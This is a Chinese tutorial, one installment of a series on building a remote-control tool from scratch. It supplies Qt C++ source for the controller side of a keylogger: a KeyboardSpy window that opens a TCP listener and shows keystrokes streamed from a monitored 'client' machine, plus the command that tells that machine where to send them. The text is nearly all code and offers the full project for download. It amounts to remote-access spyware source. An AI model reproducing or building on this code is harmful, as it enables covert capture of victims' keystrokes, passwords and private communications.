如果你从没看过这系列教程请点击:从零开始做远控 简介篇
键盘监控:
第八节了,这节是写服务端接收客户端发过来的键盘数据,然后打印到窗口里,这样键盘监控就完成了。
效果图:
KeyboardSpy类
1.首先我们要在ZeroServer项目中增加一个继承于QWidget的KeyboardSpy类,和屏幕监控那一节差不多,所以我直接放代码。
KeyboardSpy.h
/*
* Author: sumkee911@gmail.com
* Date: 2016-12-22
* Brief: 从客户端接收键盘数据,打印到窗口上
*
*/
#ifndef KEYBOARDSPY_H
#define KEYBOARDSPY_H
#include <QWidget>
#include "tcpsocket.h"
#include <tcpserver.h>
#include <QApplication>
#include <QDesktopWidget>
#include <QTextEdit>
class KeyboardSpy : public QWidget
{
Q_OBJECT
public:
explicit KeyboardSpy(QWidget *parent = 0);
// 开始监控服务器,然后返回新的端口号
int startKeyboardSpyServer(QString userName);
private:
TcpServer *mServer;
TcpSocket *mSock;
QTextEdit *mEdit; // 用来显示接收的键盘数据
signals:
public slots:
// 有新客户连接
void newConnection(QTcpSocket *s);
// 处理新数据
void processBuffer();
protected:
// 大小重置
void resizeEvent(QResizeEvent *);
// 关闭
void closeEvent(QCloseEvent *);
};
#endif // KEYBOARDSPY_H
KeyboardSpy.cpp
#include "keyboardspy.h"
KeyboardSpy::KeyboardSpy(QWidget *parent) : QWidget(parent)
{
// 初始化窗口
const int w = 400, h = 300;
const int x = (QApplication::desktop()->width() - w) >> 1;
const int y = (QApplication::desktop()->height() - h) >> 1;
this->setGeometry(x, y, w, h);
// 设置文本框
mEdit = new QTextEdit(this);
mEdit->setGeometry(0,0,w,h);
mEdit->setReadOnly(true);
}
int KeyboardSpy::startKeyboardSpyServer(QString userName)
{
// 设置窗口标题
this->setWindowTitle(userName.append("-键盘监控"));
// 开启新的服务端
mServer = new TcpServer(this);
connect(mServer,SIGNAL(newConnection(QTcpSocket*)), this,SLOT(newConnection(QTcpSocket*)));
mServer->start(0);
if (!mServer->server()->isListening()) {
qDebug() << "开启屏幕监控服务端失败";
deleteLater();
return -1;
}
// 开启监控窗口
this->show();
return mServer->server()->serverPort();
}
void KeyboardSpy::newConnection(QTcpSocket *s)
{
// 新增客户
mSock = new TcpSocket(s, this);
connect(mSock,SIGNAL(newData()), this, SLOT(processBuffer()));
connect(mSock, SIGNAL(disconnected()), this, SLOT(deleteLater()));
// 不再监听新客户
mServer->server()->close();
}
void KeyboardSpy::processBuffer()
{
// 将数据打印到文本框
QString text = mEdit->toPlainText();
mEdit->setText(text.append(*mSock->buffer()));
// 清空缓冲区
mSock->buffer()->clear();
}
void KeyboardSpy::resizeEvent(QResizeEvent *)
{
mEdit->setGeometry(0,0,width(), height());
}
void KeyboardSpy::closeEvent(QCloseEvent *)
{
// 删除窗口
deleteLater();
}
2.在widget.cpp中修改函数keyboardClicked。
void Widget::keyboardClicked()
{
int id = currentClientIdFromTable();
if (id != -1) {
KeyboardSpy *ks = new KeyboardSpy();
ZeroClient *client = mZeroServer->client(id);
int port = ks->startKeyboardSpyServer(QString::number(id));
// 开始监控
client->sendKeyboardSpy(port);
}
}
3.在ZeroClient中增加函数sendKeyboardSpy。
void ZeroClient::sendKeyboardSpy(int port)
{
QString data;
data.append(CmdKeyboardSpy+CmdSplit);
data.append("PORT"+CmdSplit+QString::number(port));
data.append(CmdEnd);
mSock->write(data.toLocal8Bit());
}
下载完整代码